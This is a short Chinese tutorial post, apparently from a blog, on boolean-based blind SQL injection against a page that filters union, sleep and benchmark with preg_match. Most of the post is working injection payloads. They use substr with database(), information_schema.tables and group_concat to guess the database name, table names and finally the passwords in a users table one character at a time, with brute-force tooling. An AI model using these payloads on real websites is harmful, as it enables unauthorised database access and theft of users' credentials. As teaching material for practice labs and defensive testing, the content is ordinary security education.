sql注入———boolean注入(布尔盲注)
这里讲关于sql注入中出现一些过滤的情况之基于布尔注入
如果注入网站的源码中有preg_math函数来过滤了一些注入的命令
列如:
if(preg_math(“union|sleep|benchmark/i”,$id)){
exit(“no”);
}
这里就过滤掉了union等注入命令
如果页面只返回True和False或yes和no两种类型页面
这种情况下就要使用布尔注入的方法来进行sql注入
直接先爆破数据库的名称:
?id=1’ and substr(database(),1,1)=‘a’ --+
然后抓包发送到爆破模块
然后将‘a’之后的字母逐个爆破
再爆破表名:
?id=1’ and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘a’–+
然后将字母’a’的位置进行爆破所有字母
用下面的这个命令可以进行爆破多个表:
?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘a’–+
爆破字段内容:
?id=1’ and substr((select password from users limit 0,1),1,1)=‘a’–+
本文探讨了在SQL注入攻击中遇到preg_match函数过滤特定命令(如union)的情况。当网页仅返回True/False或yes/no时,布尔盲注成为有效的注入手段。通过爆破数据库名、表名及字段内容,例如使用substr和information_schema来逐个字符猜测,逐步揭示数据库信息。
26万+

被折叠的 条评论
为什么被折叠?



